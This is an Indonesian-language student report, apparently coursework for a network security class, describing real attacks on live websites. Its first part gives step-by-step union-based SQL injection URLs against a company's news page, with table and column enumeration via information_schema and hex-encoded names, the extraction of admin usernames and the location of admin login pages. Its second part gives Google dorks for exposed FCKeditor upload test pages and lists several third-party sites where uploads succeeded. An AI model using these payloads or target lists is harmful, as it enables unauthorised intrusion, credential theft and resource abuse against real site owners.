INTRODUCE STATEMENT
Hacking adalah kegiatan seseorang atau indovidu untuk memasuki sebuah system tanpa sepengetahuan pemilik dan tidak merusak system tersebut [White Hack] dan atau merusak [Black Hack]. Tugas ini dibuat hanya sebagai bidang study atas tugas dari mata kuliah Keamanan Jaringan AMIK BSI Kelas 12.5K.01 dan kami tidak melakukan pengrusakan terhadap target.
Target yang kami tuju adalah situs resto luar negeri yaitu culinary mater class dan situs PT. Target Indonesia. Teknik yang kami gunakan adalah SQL Injection dan Upload Hole.
SQL Injection adalah salah satu teknik untuk mencari kelemahan dan melihat data terhadap situs target. SQL injection yaitu sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk enyimpanan data.
Dalam mencari target biasanya menggunakan perintah pencarian dengan mbah google seperti :
“ Inurl: news.php?id= ”
Sebenarnya saya tidak sengaja ketika mendapat informasi dari temen bahwa di PT. Target Sedang ada lowongan pekerjaan, penasaran saya buka situsnya dan menemukan artikel untuk ibu dan anak kemudian saya lihat alamat link nya. Iseng iseng saya coba masukan perintah SQL Injection eh ternyata bisa masuk berikut adalah langkahnya :
Buka Situs Target Indonesia
è http://Target.co.id
è http://www.target.com/mombaby_details.php?newsid=101
Kemudian masukan karakter di awal id news nya” ‘ “ atau ” – “
è http://www.target.com/mombaby_details.php?newsid=-101
Nanti jika system nya lemah maka isi berita nya akan hilang, dan ini terjadi pada situs ini, Kemudian tinggal kita tambahkan perintah sql dengan order by 1 sampai kita menemukan eror. Perintah ini untuk menghitung jumlah table yang ada dalam databasenya.
è http://www.target.com/mombaby_details.php?newsid=-101+order+by+1–
http://www.target.com/mombaby_details.php?newsid=-101+order+by+[1-8]–
Setiap perintah kita pisah dengan tanda plus “ + ” dan di akhir url nya tambahkan ” /* “ atau “ – - “. Dalam kasus ini saya hanya memasukan 1 sampai 8. Jika kita menemukan error diangka 8 maka kita nilainya kurangi satu jadi angka yang kita pakai adalah 1-7 kemudian perjuangan kita lanjutkan dengan perintah union, perintah ini untuk menampilkan jumlah table.
http://www.target.com/mombaby_details.php?newsid=-101+union+select+1,2,3,4,5,6,7–
Keluar atau tampil angka 3 dan 4 kemudian kita lanjutkan untuk mengecek versi dari software MySql nya dengan perintah @@version atau version() di kolom angka yang keluar tadi sehingga urlnya jadi :
http://www.target.com/mombaby_details.php?newsid=-101+union+select+1,2,version(),4,5,6,7–
Maka akan muncul angka 5 berarti versi software MySql nya adalah versi 5 Community Log jika angka yang keluar 4 berarti kita harus menebak nama table nya, kalu saya langsung kabur aja deh nyari target yang pakai MySQL versi 5.
Selanjutnya adalah menampilkan seluruh table yang berhasil diterima oleh table Information Schema Bawaan MySQL nya. Dengan menyisipkan perintah [table/column]_name pada angka yang keluar tadi [bukan angka versi MySQL nya]. Dan menambahkan perintah from , information_schema.[tables/columns] diakhir url.
Penjelasan :
table_name = untuk menampilkan seluruh nama table
column_name = untuk menampilkan seluruh field atau kolom dari semua table yang ada.
information_schema.tables = pasangan untuk table_name
information_schema.columns = pasangan untuk column_name
http://www.target.com/mombaby_details.php?newsid=-101+unon+select+1,2,table_name,
4,5,6,7+from+information_schema.tables–
Perintah diatas akan menampilkan seluruh nama table yang ada di database. Di situs ini banyak sekali nama table yang muncul tapi yang saya soroti adalah nama table :
target_admin
target_members
target_message
Nah kita sudah mengetahui table apa saja yang muncul, bila perlu catat nama table nya. Kemudian kita keluarkan seluruh nama field nya kita tinggal ganti aja table=column dan tables=columns jadi url nya seperti ini.
http://www.target.com/mombaby_details.php?newsid=-101+unon+select+1,2,column_name,4,5,6,7+
from+information_schema.columns–
Dari perintah di atas maka akan muncul semua nama filed / kolom nya kemudian saya tebak kira kira kolom apa saja dari table target_admin dan target_members. Sebenarnya cara ini kurang efektif ada cara lain untuk menampilkan seluruh kolom berdasarkan kategori nama table yang akan kita cari yaitu dengan cara mengkonversi nama table yang akan kita cari kolomnya ke bentuk hexadecimal dengan format 0x[hexa decimal] ditambahkan pada akhir kedua terakhir diparameter url. Dan menambhakan perintah group_concat(column_name) masih diangka yang keluar tadi yaitu 3 atau 4.
Untuk mengkonversi kan text ke hecadecimal saya buka web http://www.swingnote.com/tools/texttohex.php
Contoh saya akan mengeluarkan kolom yang ada di table target_admin dengan hasil konverinya 706967656f6e5f61646d696e [* Hasil disamarkan ] jadi urlnya seperti ini :
http://www.target.com/news_details.php?newsid=-123+union+select+1,2,3,group_concat(column_name),5,6,7,8,9+
from+information_schema.columns+where+table_name=0x706967656f6e5f61646d696e–
Maka akan muncul kolom / nama field à id,name,username,pass,status_login,datez
Sampai disini kita tinggal lihat isinya dengan perintah berikut :
http://www.target.com/mombaby_details.php?newsid=-101+unon+select+1,2,username,4,5,6,7+
from+target_admin–
Maka akan keluar isi kolom username dari table target_admin yaitu :
indocitra
admin_Target
Untuk menampilkan dari kolom target_members sama perintahnya dengan diatas Cuma nama kolom jadi member_username atau member_password nanti akan muncul ratusan username dan password.
Dari sini bisa kita lihat semua informasi yang ada di situs ini termasuk melihat data. Baik data customer nya maupun pesan pengaduan. Terkahir kita harus mencari halam login admin dan member Saya memakai software Acunetix untuk menscan strukur website. Silahkan login ke http://www.target.com/login.php untuk http://www.target.com/wcp/ untuk halaman admin nya dan masukan username besert password adminnya.
Catatan : Password ini menggunakan enkripsi dengan method individual karena susah ditebak. L
Sebenarnya teknik SQL Ijection masih banyak namun yang baru saya pahami langkah ini saja.
Teknik ini sebernarnya bukan kea rah kita berusaha menyusup namun lebih kea rah menyisipkan sebuah file dengan memanfaatkan kelemahan / hole dari sebuah script php.
Ada banyak kelemahan dari berbagai plugin / sebuah modul library yang sering digunakan dalam pembuatan website diantaranya adalah text editor untuk mempermudah dalam menginput informasi / berita. Inilah plugin yang memicu serangan bandwhith :
è FCKEditor
è TinyMCE
è AjaxFileManager
Pertama kita awali dengan google hack
“ allinurl: /filemanager/connectors/uploadtest.html “
Maka akan menemukan berbagai situs yang mengarah ke alamat tersebut.
Saya mulai target ke :
http://culinarymasterclass.com
Dengan alamat hole :
http://culinarymasterclass.com/includes/FCKeditor/editor/filemanager/connectors/uploadtest.html
Maka akan muncul form test upload dengan beberapa pilihan :
Type File dan Post Method
Karena saya yakin web ini menggunakan mesin PHP maka method post nya saya pilih PHP dan Type File nya Media. Terserah media yang mau di upload apa saja, yang jelas hole ini tidak menerima file berekstensi .php, .exe, .html hanya menerima .zip, .jpg, .txt. Serangan ini hanya untuk menghabiskan Space dan Bandwith suatu situs.
Ini daftar situs yang berhasil untuk upload file :
http://www.jesusgsm.org/cms/FCKeditor/editor/filemanager/connectors/uploadtest.html
http://dailydealsetc.com/includes/fckeditor_2.6.6/editor/filemanager/connectors/uploadtest.html
http://www.mylocalhotspots.com/fckeditor/editor/filemanager/connectors/uploadtest.html
http://www.fortismining.com.au/htmleditor1/editor/filemanager/connectors/uploadtest.html
http://www.organisedfashion.com.au/fckeditor/editor/filemanager/connectors/uploadtest.html









